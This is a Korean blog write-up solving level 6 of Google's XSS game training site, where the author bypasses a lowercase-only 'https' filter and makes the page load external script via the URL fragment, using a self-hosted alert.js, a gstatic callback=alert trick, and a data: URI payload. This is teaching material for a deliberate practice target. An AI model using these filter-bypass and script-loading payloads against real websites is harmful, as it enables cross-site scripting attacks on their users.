power-girl0-0

[XSS game] level 6 본문

War game/XSS game

[XSS game] level 6

power-girl0-0 2021. 2. 14. 02:51
728x90

 

 XSS game 주소 

https://xss-game.appspot.com/

 

XSS game

Welcome, recruit! Cross-site scripting (XSS) bugs are one of the most common and dangerous types of vulnerabilities in Web applications. These nasty buggers can allow your enemies to steal or modify user data in your apps and you must learn to dispatch the

xss-game.appspot.com


 미션 설명 

복잡한 웹 응용 프로그램은 URL 매개 변수 값 또는 location.hash의 일부에 따라 JavaScript 라이브러리를 동적으로 로드할 수 있습니다.

이 작업은 올바르게 수행하기가 매우 어렵습니다.

스크립트나 XMLHttpRequest와 같이 잠재적으로 위험한 유형의 데이터를 로드할 때 사용자 입력이 URL에 영향을 미치도록 허용하면 심각한 취약성으로 이어지는 경우가 많습니다.


 미션 목표 

응용 프로그램이 외부 파일을 요청하도록 하여 alert()를 실행합니다.


 풀이 

해당 문제의 소스코드를 확인해보니, url에서 https://형태의 값이 있는지 필터링한다.

필터링 성공시, 해당 url에 있는 script 코드를 그대로 load한다.

 

따라서, 외부의 링크에서 악성 스크립트를 생성해서 #뒤에 넘겨주면 그대로 실행될 것으로 보인다.


그래서 alert를 명령어가 들어간 alert.js라는 스크립트 코드를 만들어서, 아래와 같이 전달해보았다.

http에 대한 필터링은 소문자만 하고 대문자에 대한 필터링은 없기 때문에 대문자로 값을 전달해보았다.

   https://xss-game.appspot.com/level6/frame#HTTPS://내 ip/alert.js

하지만, alert.js가 실행되지 않는다.


그래서 힌트를 참고해보니, 4번에서 If you can't easily host your own evil JS file, see if google.com/jsapi?callback=foo will help you here.라고 작성되어있다.

 

힌트를 참고하여 google.com/jsapi?callback=foo 주소에 접속해니, 아래와 같은 화면이 출력되었다.

접속해보니 callback 값으로 foo()함수를 호출하고 있는 것을 확인할 수 있었다.


이를 내 서버 대신해서 이 서버로, alert창을 띄우면 되지 않을까?라는 생각에 #뒤에 입력해 보았다.

  xss-game.appspot.com/level6/frame#HTTPS://www.gstatic.com/charts/loader.js?callback=alert

 

이렇게 하니, callback의 인자값으로 alert가 전달되면서 alert창이 출력되었다.

이렇게 문제 CLEAR!!!


또 다른 풀이가 있어서, 추가 업로드 한다.

 

해당 풀이는 서버를 사용하지 않고, data url schema를 사용해서 풀 수 있다.

 

data url schema에 대한 내용은 아래 주소를 참고하면 된다.

2021/02/14 - [웹해킹] - Data URI Schema (Data URIs)

 

따라서, 데이터를 url로 변경해서 data:[자료타입],[데이터] 형식으로 입력하면 된다.

   xss-game.appspot.com/level6/frame#data:javascript,alert('dohyeon');

 


해당 문제를 바탕으로 XSS game을 다 풀 수 있었다!!❤

짜란~~~>_<

 

 

 

 

728x90

'War game > XSS game' 카테고리의 다른 글

[XSS game] level 5  (0) 2021.02.14
[XSS game] level 4  (0) 2021.02.13
[XSS game] level 3  (0) 2020.12.28
[XSS game] level 2  (0) 2020.12.28
[XSS game] level 1  (0) 2020.12.28
Comments